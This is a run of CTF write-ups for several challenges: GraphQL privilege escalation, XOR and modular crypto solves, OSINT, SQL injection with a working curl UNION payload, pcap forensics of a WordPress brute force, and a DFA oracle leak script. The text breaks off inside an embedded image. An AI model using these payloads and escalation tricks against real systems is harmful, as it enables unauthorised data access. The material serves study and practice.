We also have an `async panic` function sending a POST to /api/v1/dev/panic.Copy-pasting the request in the console.log gives us a 403. Sounds like we don't have permissions to hit that endpoint.
In the network tab, we can try to intercept the response of the post to api/graphql, which seems to return the staff member's data along with its level.Once intercepted, we can change the level from 1 to 0 and see what happens.
![burp suite intercept response](https://raw.githubusercontent.com/DominickVale/ecorp-ctf-challenge/master/images/burp1.png)
![admin panel](https://raw.githubusercontent.com/DominickVale/ecorp-ctf-challenge/master/images/adminpanel.png)And there we go, we the admin panel is rendered. There is also the panic button, which if clicked, just sends the request we already tried.There seems to also be a SET LVL button. Which is also a graphql mutation we found in the source code.Clicking on SET LVL it asks us for the ID (which remember, is only the part in between the --- of our user agent, so 32FM19790306873AEB) and the new level to set (0).In the network tab we can see that the request actually went through and gave us a new cookie, so they probably missed checking for authentication on the backend for this endpoint.Clicking on panic, and this time we get a 200, with our flag.
This was my first time creating a CTF, and as expected, it didn't go down super well, but i learned a lot of things, and i hope it taught you something about real world testing scenarios: if there's an architecture overhaul, you can be damn sure some bugs are going to pop out. Also, oversharing is never a good idea, especially on a blogpost of a vulnerable website :P.
I hope you liked my scuffed ctf at least a bit and had a nice time at the event.
|
## SolutionThe astute reader will realize that we are doing multiple xors with a static key sliding across character by character With plaintext `flag{1}` and key `bat` the algorithm visualized would be:```flag{1}bat bat bat bat bat
0: f ^ b1: l ^ b ^ a2: a ^ b ^ a ^ t3: g ^ b ^ a ^ t4: { ^ b ^ a ^ t5: 1 ^ a ^ t6: } ^ t```
Since [crypto_slide_quest.c](./dist/crypto_slide_quest.c) is given, we know that the key length is 6 (sizeof(key) - null byte). The flag format is `flag{.*}`, so we can recover the key using the known 6 bytes. The first ciphertext character gives us the first key character which then tells us the second one. The same is true for the last ciphertext character and the last key character.Then we can just redo the algorithm using the ciphertext and recovered key to get the plaintext flag.
```from pwn import *
def xor_key(a,b,c="\x00",d="\00",e="\x00",f="\x00"): return chr(ord(a)^ord(b)^ord(c)^ord(d)^ord(e)^ord(f))
conn = process("./crypto_slide_quest")ciphertext = conn.recv().decode()
key_len = 6 # sizeof - null_byte, from the source codeflag_len = len(ciphertext)
flag = list("flag{" + "?"*(flag_len-6) + "}")key = list("?" * key_len)
# manually figure out the knowns aka "flag{" and "}" which conveniently gives us the key
key[0] = xor_key(ciphertext[0], flag[0])key[1] = xor_key(ciphertext[1], flag[1], key[0])key[2] = xor_key(ciphertext[2], flag[2], key[1], key[0])key[3] = xor_key(ciphertext[3], flag[3], key[2], key[1], key[0])key[4] = xor_key(ciphertext[4], flag[4], key[3], key[2], key[1], key[0])key[-1] = xor_key(ciphertext[-1], flag[-1])
# now that we have the key, we can re the ciphertext
plaintext = list(ciphertext)for i in range(0, len(ciphertext) - len(key) + 1): for j in range(0, len(key)): plaintext[i+j] = xor_key(plaintext[i+j], key[j])
print(''.join(plaintext))``` |
# Czech Where?
### Solution
![alt text](images/image.png)
By using Google Images, we found one image that is similar to the original. (http://tabiichigo.livedoor.biz/archives/51921024.html)
From the link, we found out that the shop is located at Golden Lane, Prague, Czech Republic. A simple Google Search will show the street name which is ```Zlatá ulička u Daliborky```.
### FlagThe flag for this challenge is ```irisctf{zlata_ulicka_u_daliborky}```.
### Additional Resourceshttps://www.amadea.cz/en/wooden_shops/ |
# Not So Smooth## 408Can you find a and b?
---
We're given the following:```from Crypto.Util.number import long_to_bytesfrom Crypto.Util.strxor import strxorfrom random import randintfrom flag import FLAG
def f(x, n): return (pow(u,n,p)*x + v*(1-pow(u,n,p))*pow(1-u, -1, p)) % p
p = 97201997431130462639713476119411091922677381239967611061717766639853376871260165905989218335681560177626304205941143288128749532327607316527719299945637260643711897738116821179208534292854942631428531228316344113303402450588666012800739695018334321748049518585617428717505851025279186520225325765864212731597u = 14011530787746260724685809284106528245188320623672333581950055679051366424425259006994945665868546765648275822501035229606171697373122374288934559593175958252416643298136731105775907857798815936190074350794406666922357841091849449562922724459876362600203284195621546769313749721476449207319566681142955460891977927184371401451946649848065952527323468939007868874410618846898618148752279316070498097254384228565132693552949206926391461108714034141321700284318834819732949544823937032615318011463993204345644038210938407875147446570896826729265366024224612406740371824999201173579640264979086368843819069035017648357042v = 16560637729264127314502582188855146263038095275553321912067588804088156431664370603746929023264744622682435376065011098909463163865218610904571775751705336266271206718700427773757241393847274601309127403955317959981271158685681135990095066557078560050980575698278958401980987514566688310172721963092100285717921465575782434632190913355536291988686994429739581469633462010143996998589435537178075521590880467628369030177392034117774853431604525531066071844562073814187461299329339694285509725214674761990940902460186665127466202741989052293452290042871514149972640901432877318075354158973805495004367245286709191395753w = 30714296289538837760400431621661767909419746909959905820574067592409316977551664652203146506867115455464665524418603262821119202980897986798059489126166547078057148348119365709992892615014626003313040730934533283339617856938614948620116906770806796378275546490794161777851252745862081462799572448648587153412425374338967601487603800379070501278705056791472269999767679535887678042527423534392867454254712641029797659150392148648565421400107500607994226410206105774620083214215531253544274444448346065590895353139670885420838370607181375842930315910289979440845957719622069769102831263579510660283634808483329218819353a = randint(0, 2**2048)b = randint(0, 2**2048)A = f(w, a)B = f(w, b)key = long_to_bytes(f(B, a))[:len(FLAG)]enc = strxor(FLAG, key)print(f"{A = }")print(f"{B = }")print(f"{enc = }")
"""A = 7393401480034113709683683682039780458211722756040975666277858366986963864147091724359492764726999692812421940595309756560491142512219957986281425163574890752574157617546760386852366936945888357800966704941013951530688031419816817272581287237223765833452303447283089906937413964658335387593899889933721262202B = 6919381992041136573008188094979879971060160509085428532054694712745921654244468113796582501225839242977870949915769181804595896718922228206397860738237256125972615830799470450058633231003927061049289907097099916321068776956652172887225970642896455423957706532253349472544176183473470843719479781727784095989enc = b'\xcfW\x85\x8d\xedU\xdd\xd9`\x16f\xb8j(\xeb9-\x1b\xb8\x18 0av\xe5\xabK\xc6'"""```
Hm. Let's break this down step by step.
1. We have 3 known variables used in the funciton -- *p*, *u*, *v* 2. We have 1 known variable that is used for the x parameter of *f(x, n)* to get *A* and *B* -- *w* 3. We have 2 unknown, random variables in the range [0, 2^2048) that are used for the n parameter of *f(x, n)* to produce *A* and *B* -- *a* and *b*, respectively 4. We are given *A*, *B*, and the encrypted flag 5. The key is derived from *f(B, a)*
Now let's try and figure out this function:
1. There are two terms 2. *x* is used for multiplication in the first term 3. *n* is used for the exponent of *u* with modulus *p* 4. *pow(u, n, p)* is involved in both terms 5. *pow(1-u, -1, p)*, i.e. the modular inverse of *1 - u* for modulus *p*, is used in the 2nd term... this seems suspicious 6. The entire expression is taken mod *p*
After analysis, the *pow(1 - u, -1, p)* seemed the most suspicious to me. Why is the modular inverse of *1 - u* involved in the expression when *1 - u* is used nowhere else?
I decided that, maybe I should try to get rid of this. It is easy to get rid of this by simply multiplying *f(x, n)* by *1 - u*, as the entire expression is already taken mod *p*. I then simplified and factored in the following process:
```f(x, n) = (pow(u,n,p)*x + v*(1-pow(u,n,p))*pow(1-u, -1, p)) % pf(x, n) * (1 - u) = (pow(u,n,p)*x*(1-u) + v*(1-pow(u,n,p))*1) % pf(x, n) * (1 - u) = ( (pow(u,n,p)) * (x - xu - v) + v) ) % p```
So now, I had related *f(x, n)* to the product of two numbers. Because *x* is only ever *B* or *w*, we will always know the value of *x*. Since we know the value of *x*, *u*, and *v*, the only unknown in this equation will always be n. However, I realized that it was not possible to use this to solve directly for *a = n* with the relation *f(w, a) = A*, as it would require brute forcing a very large integer.
At this point, I decided to turn my attention back to the actual function calls:
A = f(w, a) B = f(w, b) key = f(B, a)
Both *A* and *key* involve the same value of *n*. I thought that was perhaps more useful than using *B*'s function in some way because (1) we already know the value of B, so it shouldn't really make an impact on *f(B, a)* unless it leads to some major insight (which I was hesitant to explore because it felt very bashy) and (2) because we know B, we don't really care about *b*; as far as I could tell, *a* was more important because it was the only unknown of *f(B, a)*.
Therefore, I rewrote my equations for *A* and *key* with the expression I had proved earlier.
```A = f(w, a) = ( ( (pow(u,a,p)) * (w - wu - v) + v) ) % p ) / (1 - u)key = f(B, a) = ( ( (pow(u,a,p)) * (B - Bu - v) + v) ) % p ) / (1 - u)```
Hey... wait a minute. We have two equations, and two unknowns, *a* and *key*. We know we cannot directly compute *a* from these equations; however, *a* is used in the same way in both equations, to calculate *pow(u,a,p)*. Therefore, *pow(u,a,p)* can be essentially considered the unknown instead. So, what if use the first equation, in which we only have one unknown, i.e. *pow(u,a,p)*, to solve for that unknown, and then substitute into the second equation to solve for key?
Also, remember that division in modular arithmetic is essentially equivalent to multiplying by the modular inverse -- this allows us to compute these values!
Also x2, you don't even have to directly solve for *pow(u,a,p)*. It's actually possible to go directly from *A* to *key* by using the only difference between the two equations, i.e. *(w - wu - v)* and *(B - Bu - v)*.
But here was the final math I did to get the solution:
```pow(u,a,p) = ( (A * (1 - u) - v) * pow(w - wu - v, -1, p) ) % pSubstitute this into the equation for key to get the flag! ```
Once, we have the key, a simple strxor() to decrypt returns our flag :)
INTIGRITI{1e863724be1ea6d3e}
Implementation of the above: ```modinv = pow(1-u, -1, p)ap = ((A * ((1 - u) % p) - v) * pow(w - w * u - v, -1, p)) % pk = (ap * B + v * (1 - ap) * (modinv)) % pk = long_to_bytes(k)[:len(enc)]
def strxor(a, b): res = b'' for i in range(len(a)): res += (a[i] ^ b[i]).to_bytes(1, 'big') return res
print(strxor(enc, k))``` |
# LACTF 2023
## la housing portal
> **Portal Tips Double Dashes ("--")** Please do not use double dashes in any text boxes you complete or emails you send through the portal. The portal will generate an error when it encounters an attempt to insert double dashes into the database that stores information from the portal.Also, apologies for the very basic styling. Our unpaid LA Housing(tm) RA who we voluntold to do the website that we gave FREE HOUSING for decided to quit - we've charged them a fee for leaving, but we are stuck with this website. Sorry about that.> > Please note, we do not condone any actual attacking of websites without permission, even if they explicitly state on their website that their systems are vulnerable.> > Author: burturt> > [`serv.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/web/la_housing_portal/serv.zip)
Tags: _web_
## SolutionThe description already gives it away, the given web-app is vulnerable to SQL-injection. The web app lets us search for matching roommates and the function that builds the sql query does no sanitazion at all (well to stick to the truth, there is a tiny bit of sanitazion happening beforehand..).
```pythondef get_matching_roommates(prefs: dict[str, str]): if len(prefs) == 0: return [] query = """ select * from users where {} LIMIT 25; """.format( " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()]) ) print(query) conn = sqlite3.connect('file:data.sqlite?mode=ro', uri=True) cursor = conn.cursor() cursor.execute(query) r = cursor.fetchall() cursor.close() return r```
Since the sqlite database is given, we can beforehand inspect where the flag can be found. This makes things a bit easier, but would not be exactly necessary.
```bashsqlite> .tablesawake flag guests neatness sleep userssqlite> .schema flagCREATE TABLE flag (flag text);sqlite> .schema usersCREATE TABLE IF NOT EXISTS "users"( id integer not null constraint users_pk primary key autoincrement, name TEXT, guests TEXT, neatness text, sleep TEXT not null, awake text);sqlite> select * from users union select 1,flag,3,4,5,6 from flag;1|Finn Carson|No guests at all|Put things away as we use them|8-10pm|4-6am1|lactf{fake_flag}|3|4|5|62|Aldo Young|No guests at all|Put things away as we use them|8-10pm|6-8pm...```
This looks like a [`SQL Injection using UNION`](https://www.sqlinjection.net/union/) would work. Also comments are not really needed here, just injecting `' union select 1,flag,3,4,5,6 from flag'` to the last parameter gives us the flag.
```bashcurl -X POST https://la-housing.chall.lac.tf/submit -d "name=&guests=na&neatness=na&sleep=na&awake=4-6am\' union select 1,flag,3,4,5,6 from flag'"```
Flag `lactf{us3_s4n1t1z3d_1npu7!!!}` |
# WordPress - 2[Medium]
Same file from WordPress - 1
Q1. During enumeration, the attacker tried to identify users on the site. List all the users that the attacker enumerated. Seperate them with `:`. Sort them by alphabetical order.
Q2. After enumeration, a brute force attack was launched against all users. The attacker successfully gained access to one of the accounts. What are the username and password for that account, and what is the name of the page used for the brute force attack?
Flag Format `0xL4ugh{A1_A2}`
Example: `0xL4ugh{username1:username2_username:password_pageName.ext}`
---
Solution:
I decided to check if the attacker tried to login via `(http.request.method == POST) && (ip.src == 192.168.204.132)`
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_1.png)
We have three attempts!
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_2.png)
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_3.png)
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_4.png)
Double-checked via `((ip.src == 192.168.204.132) || (ip.dst == 192.168.204.132)) && http` as well...
We can see that it was able to query those three authors.
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_5.png)
So it's `a1l4m:demomorgan:not7amoksha`
For Q2, I decided to continue with `((ip.src == 192.168.204.132) || (ip.dst == 192.168.204.132)) && http`
I noticed several POST requests to `/wordpress/xmlrpc.php`
Example, packet 136419, invokes `wp.getUsersBlogs` with two parameters, the username (in this case, it's `not7amoksha`), and another text which seems to be the password.
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_6.png)
Looking at the response...
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_7.png)
The second parameter is indeed a password! Searching via the documentation also confirms it. https://developer.wordpress.org/reference/classes/wp_xmlrpc_server/wp_getusersblogs/
Now let's look for a successful request that doesn't return a 403.
Let's use `(ip.dst == 192.168.204.132) && !(xml.cdata == "403") && (_ws.col.protocol == "HTTP/XML")`
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_8.png)
There's a hit! Let's check the HTTP stream...
![image](https://github.com/pspspsps-ctf/writeups/raw/main/2024/0xL4ugh%20CTF%202024/Forensics/Wordpress/2/2_9.png)
So it's `demomorgan:demomorgan`
For the page that was used to bruteforce, it's `xmlrpc.php`
Now we have the flag! :D
Flag: `0xL4ugh{a1l4m:demomorgan:not7amoksha_demomorgan:demomorgan_xmlrpc.php}`
|
* DOM Clobbering to Redirect to another page* Increasing Content using SQL Injection giving the same column multiple times* Connection-Pool XS-Leaks to measure the time for the page to load* Leak the flag character by character using the above techniques |
# Rick Roll
tag: easy SRPG
I hope you know your crypto basics.
flag format: pearl{string with "_"}
## Solve
Text base ciper need text base solution. I head on to [dcode](https://www.dcode.fr/vigenere-cipher) to get "PEARLCTF" key for the first phase
```txtNever Gonna Give You UpWe're no strangers to loveYou know the rules and so do IA full commitment's what I'm thinking of You wouldn't get this from any other guy I just wanna tell you how I'mfeeling Gotta make you understandNever gonna give you up Never gonna let you downNever gonna run around and desert you Never gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you We've known each other for so longYour heart's been aching but you're too shy to say it Inside we both know what's been going onevqx ebzyvbt vg qvtsvqhzg gb ibqrffgnbqWe know the game and we're gonna play it And if you ask me how I'm feelingDon't tell me you're too blind to see Never gonna give you upNever gonna let you downNever gonna run around and desert you Never gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you Never gonna give you upNever gonna let you downNever gonna run around and desert you Never gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you Never gonna give, never gonna give (Give you up)(Ooh) Never gonna give, never gonna give (Give you up)```
These parts not seem right, so phase 2 it is
```txtevqx ebzyvbt vg qvtsvqhzg gb ibqrffgnbq```
I have no ideal what this could be, but after some trier and error, `n` and `o` as key can get me parse like this
```txtrick rolling is ...```
So my assumtion is that we need to make a key base on those character. I quite give up in this step and just asumming the flag is a make sense words by merging decrypted character with key = `n` and key = `o` and replacing the space with `_` (Which later being told that it is ROT13.5)- msg : `evqx ebzyvbt vg qvtsvqhzg gb ibqrffgnbq`- flag: `rick_rolling_is_difficult_to_understand`- key : `nnonnnonnonnonnonnononnnoonnonnnon`
That right, and i also add `pearlctf{}` while hoping it the right answer, can't really make sense the key by any mean |
[Original writeup](https://t3l3sc0p3.github.io/posts/knightctf-2024-writeup/#readme-305-pts) (https://t3l3sc0p3.github.io/posts/knightctf-2024-writeup/#readme-305-pts). |
# Machine Trouble
tag: medium e4stw1nd
I don't think even smart people like you can get the flag out of such a machine with so little memory. Prove me wrong. If you find it, enclose the flag in pearl{}.
NOTE: Flag does not have any upper case character and number.
## Solve
We are welcome with this, which is the true problem
```(ins)→ nc dyn.ctf.pearlctf.in 30018ooooooooo. oooooooooooo .o. ooooooooo. ooooo`888 `Y88. `888' `8 .888. `888 `Y88. `888' 888 .d88' 888 .8"888. 888 .d88' 888 888ooo88P' 888oooo8 .8' `888. 888ooo88P' 888 888 888 " .88ooo8888. 888`88b. 888 888 888 o .8' `888. 888 `88b. 888 oo888o o888ooooood8 o88o o8888o o888o o888o o888ooooood8
Welcome to The Finite State Machine:=======================RULES===========================The flag is set as the input string, and the alphabets of the language are set to a-z, {, }, _.Here, you can define your own states and transitions.If there is no defined transition for a particular letter, then the machine gets trapped.It must be a DFA, not an NFA.An output of 1 means that the string is present in the language; 0 means otherwise.'@' takes the machine from one state to another by consuming any one letter.'~l' takes the machine from one state to another by consuming one letter unless the letter is 'l'.Example: '5 @ 6' takes the machine from state 5 to state 6 for all letters.Example: '6 ~b 7' takes the machine from state 6 to state 7 for all letters except 'b'.=================================================Enter number of states:```
What we can do is rather simple, we new create a machine that run on the flag, what this mean is- We chose our machine - have how much state `S` - Zero index - stated state alway set to 0 - (at least one) final states `f[] = [...]` - how much transitor `T` - define exact transition with two type `t[] = [...]` - '@' consume a character (which I assumming we running on flag character here) - '~a' consume a character unless the letter is 'a' - Each transitor can tranform a state to other state with one of either type
Now let start with a string, and a defined machine
- This machine jump state one by one, with any character
```python length = 11 t = ["".join([str(i), ' @ ', str(i+1)]) for i in range(length-1)] T = len(t) S = len(t) + 1 f = [S - 1]
print(S) print(" ".join([str(i) for i in f])) print(T)
for line in t: print(line) ```
Not thing much, I trial and error until i found a length where it not stuck
- This machine not allow a single character
> the alphabets of the language are set to a-z, {, }, _.
```python # ... t = ["".join([str(i), ' ~b ', str(i+1)]) for i in range(length-1)] # ... ```
So we update the code that automate this process for us, base on the final byte return by nc ```python import time import socket
class Netcat: """ Python 'netcat like' module """
def __init__(self, ip, port): self.buff = "" self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((ip, port))
def read(self, length=1024): """ Read 1024 bytes off the socket """ return self.socket.recv(length)
def read_until(self, data): """ Read data into the buffer until we have data """ while data not in self.buff: self.buff += self.socket.recv(1024).decode("ascii")
pos = self.buff.find(data) rval = self.buff[:pos + len(data)] self.buff = self.buff[pos + len(data):]
return rval
def write(self, data): self.socket.send(data)
def close(self): self.socket.close()
def crafted(f=None, position=None): result = "" length = 11 t = ["".join([str(i), ' @ ', str(i+1)]) for i in range(length-1)] if f is not None: if position is not None: t[position] = "".join([str(position), f' ~{f} ', str(position+1)]) else: t = ["".join([str(i), f' ~{f} ', str(i+1)]) for i in range(length-1)]
T = len(t) S = len(t) + 1 f = [S - 1]
result += str(S) + '\n' result += " ".join([str(i) for i in f]) + '\n' result += str(T) + '\n' for line in t: result += line + '\n' return result
# whitelist = "_acdefhk" for i in 'abcdefghijklmnopqrstuvwxyz': s = Netcat('dyn.ctf.pearlctf.in', 30018)
data = bytes(crafted(i), 'ascii') s.write(data) time.sleep(3) buf = s.read() buf = s.read() print(i, buf[-2]) s.close() ```
output, i seperate those with b"49" ```python a 46 b 49 c 46 d 46 e 46 f 46 g 49 h 46 i 49 j 49 k 46 l 49 m 49 n 49 o 49 p 49 q 49 r 49 s 49 t 49 u 49 v 49 w 49 x 49 y 49 z 49 ```
I can test that we have ```python # blacklist = "bgijl..z{}," whitelist = "_acdefhk" ```
- Final step, just try and error every character, the helper function already cover it so all we have is just update some param ```python whitelist = "_acdefhk" result = "" for pos in range(11): for i in whitelist: s = Netcat('dyn.ctf.pearlctf.in', 30018)
data = bytes(crafted(i, pos), 'ascii') s.write(data) time.sleep(3) buf = s.read() buf = s.read() print(pos, i, buf[-2]) if buf[-2] == 46: result += i break s.close() ```
output that I already trim-out b"49" ```python 0 d 46 1 f 46 2 a 46 3 _ 46 4 h 46 5 a 46 6 c 46 7 k 46 8 e 46 9 d 46 ```
dfa_hacked
Only thing left is> enclose the flag in pearl{}
pearl{dfa_hacked} |
# Inception
* baby's 1st* OMGACM* local
## Description
> Do you know what the difference between a labyrinth and a maze is?>> Labyrinths don't stall the pipeline.
## Challenge
Provided with the challenge is a giant image of a maze:![maze](https://raw.githubusercontent.com/Jupiops/CTF-Writeups/main/fe_ctf_2023_qualifier/inception/maze_1.png)
If we look closely, we can see that the path of the maze is actually made up of a bunch of colored squares. In the topleft and bottom right corners, we can find the entry and exit points of the maze.
![first pixel](https://raw.githubusercontent.com/Jupiops/CTF-Writeups/main/fe_ctf_2023_qualifier/inception/screenshot-1.png)
If we check the RGB values of the first pixel in the top left corner we get the following values: ``89504E`` which isthe hex representation of the string ``\x89PN``. This is the magic number for PNG files, so we can assume that the topleft corner is the entry point of the maze and the path of the maze is actually another image.
Now we need to find a way to find the right path through the maze, so we can collect the pixels on the way and extractthe next image. For this we can use the [A* search algorithm](https://en.wikipedia.org/wiki/A*_search_algorithm).
## Solution
The solution is a Python script that uses the A* search algorithm to find the shortest path through the maze. At thesides of the path are white and black pixels, so we can use those to determine the path. We do this by setting very highcosts for walking over white and black tiles and a low cost for other colors. The script will then output the path as alist of coordinates, which we can use to extract the pixels from the maze image.
> Note: During the first try we realized that black and white pixels are not always on the sides of the path, but> somtimes the path contains black and white pixels as well. That's why giving a high coast to walk over black and white> pixels was a good idea instead of just completely prohibiting it.
```python# Define the heuristic function for A* searchdef heuristic(a, b): return abs(a[0] - b[0]) + abs(a[1] - b[1])
def a_star_search(image, start, goal): """ Perform A* search to find the path from start to goal in the maze, while staying on the colorful path. """ # Priority queue to store the nodes to explore, sorted by priority frontier = PriorityQueue() frontier.put((0, start))
# Dictionaries to store the cost to reach each node and the path to each node cost_so_far = {start: 0} came_from = {start: None}
# Directions to move in the maze directions = [(0, 1), (0, -1), (1, 0), (-1, 0)]
# Loop until there are no more nodes to explore or the goal is found while not frontier.empty(): _, current = frontier.get()
# Check if the goal has been reached if current == goal: break
# Explore neighboring nodes for direction in directions: next_node = (current[0] + direction[0], current[1] + direction[1])
# Check if the next node is within the image boundaries if 0 <= next_node[0] < image.shape[0] and 0 <= next_node[1] < image.shape[1]: # Get the color of the next node color = image[next_node]
# Assign a high cost to white and black pixels, and a low cost to colorful pixels if (color == [255, 255, 255]).all() or (color == [0, 0, 0]).all(): cost = 100_000_000 # High cost for white and black else: cost = 1 # Low cost for colorful pixels
new_cost = cost_so_far[current] + cost
# If the next node hasn't been visited or a cheaper path has been found, update the data structures if next_node not in cost_so_far or new_cost < cost_so_far[next_node]: cost_so_far[next_node] = new_cost priority = new_cost + heuristic(goal, next_node) frontier.put((priority, next_node)) came_from[next_node] = current
# Reconstruct the path from the start to the goal current = goal path = [] while current != start: path.append(current) current = came_from[current] path.append(start) path.reverse()
return path```
We also implemented a function to highlights the path in the maze image and change the patch color every time the pathgoes over a black or white pixel.
```pythondef highlight_path(image, path, output_image_path): # Highlight the path path_color = [0, 0, 255] # BGR format for point in path: color = image[tuple(point)] if (color == [0, 0, 0]).all() or (color == [255, 255, 255]).all(): # If the path is crossing a black or white tile, shift the color path_color = path_color[1:] + path_color[: 1] print("The path is crossing a black or white tile!") image[tuple(point)] = path_color
# Save the new image cv2.imwrite(output_image_path, image)
print(f"The path has been highlighted and saved to {output_image_path}")```
Now we can run the script to find the path through the maze and highlight it in the image:
![maze with path](https://raw.githubusercontent.com/Jupiops/CTF-Writeups/main/fe_ctf_2023_qualifier/inception/maze_1_solved.png)
The script then extracts the pixels on the path and saves them to a new image, then it repeats the process until it getsdata that is not a PNG file anymore. The last file then contains the flag.
#### [Solver Script](https://raw.githubusercontent.com/Jupiops/CTF-Writeups/main/fe_ctf_2023_qualifier/inception/inception.py) |
Navigating to the page are are given a simple web app that generates a link to a raw HTTP response. There's also a button to press to have the *admin* check the page. This challenge initially looks like a XSS cookie leak challenge so let's start there.
![learnhttp](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAuMAAAKSCAYAAAB4A9XAAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAANJhSURBVHhe7N0HgNTUFgbgsyy99w5K771Ib9J7772o+EAQRAUFFZCmVKWD0qV3RASUDoKiIIiIgID03llg4d3/JtnNZMrOwuJY/s83j0kmm0m5Sc69ObkTdP7cocdCRERERER/uWjmv0RERERE9BdjME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAGIwTEREREQUIg3EiIiIiogBhME5EREREFCAMxomIiIiIAoTBOBERERFRgDAYJyIiIiIKEAbjREREREQBwmCciIiIiChAgs6fO/TYfE+RlGJjDQl6eNscErmZu5fczVDfHAqMGFf2ScyrP5hDIo+iJ5S7zzU2h7xLvqWZRLt71hwSuZ21s9zO0tYcerbct2NvtR3rmUP0pIJC70qKDdXMIZHQeJnkcpmZ5hDJ44eS8usX8cYYVq7nf09C0mCcb7HPrJOEP39oDhkuVNui/417YpHE//UT/f5p3creVe5kaqHfO4+TJxYcRy5UXqffxjsyVeIdm63fRyhaTHkYN73cT15U7qavq8pTRvMDIvrLPXogKddXVm/Cz1+BjkES7XtfYp37xhwSCUlZRq4XGmIOkS9sGf+XiXl1n8T7fUbYK+6JJeYnRERP4dF9iX7rmMT9Y6Ek295enV+mmx8Q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pRkR7AM8LGVBxdT4yWV3yDG3tyKiPHv6SX7698C560befiqQm67zdVEGws5B6vyGYxpB26WyC/Q5yjsVGGfrIpfLzNYty7rs6POjCjLVOeBR7NS6PONOzuWS03Q5jwgqpWhMwblDP4xpnbfVueluhnpypdRn+mG2iOC5h2uFh6nz6Fh9PtUtyGb3e8g1N7pf7arWcaHnFvZnKuq2W9Tty4g5U1VwXvLGWfn364Fwtcx6u5Seo1vwcRdZ373Fuqh1stJZ0CUwus71pzIT1W7mel3tnxTmkAHPACT8JTyFBI1Pl8rM0z2ooPcYnQ9unc/VuRjxCVKFLpWZq/czRb2g8+cOeX8KgIiIiMLEPzxe4v4RnneLYPyyClKIiJ4UW8aJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYT/jREREREQBwpZxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxIiIiIqIAYTBORERERBQgDMaJiIiIiAKEwTgRERERUYAwGCciIiIiChAG40REREREAcJgnIiIiIgoQBiMExEREREFCINxh/kLlkmq1LlcXmnT5ZWaNZvLd9/9YE4VOV+v3yRFir4oqdPklqHDxppjn978BXHU8qVyeeXKnUJeeimxHDsWbE7137VwYRzZ+2MMcyhydu6MKStWxjKHwjVvkUQmTIhrDv0z/fnnGfl0/HRziCLyww/7JHPmIubQX695iy6qzH1mDv079O07SHr16m8OPZ0KFerJ4sUrzaFwx4+fUOfDkuaQbz//fEjOnDlnDhkePHggW7bslPv3H5hj6FmZO3exVK3WWB4/fmyOeXLjPpkqrVu/Yg79O5QvX9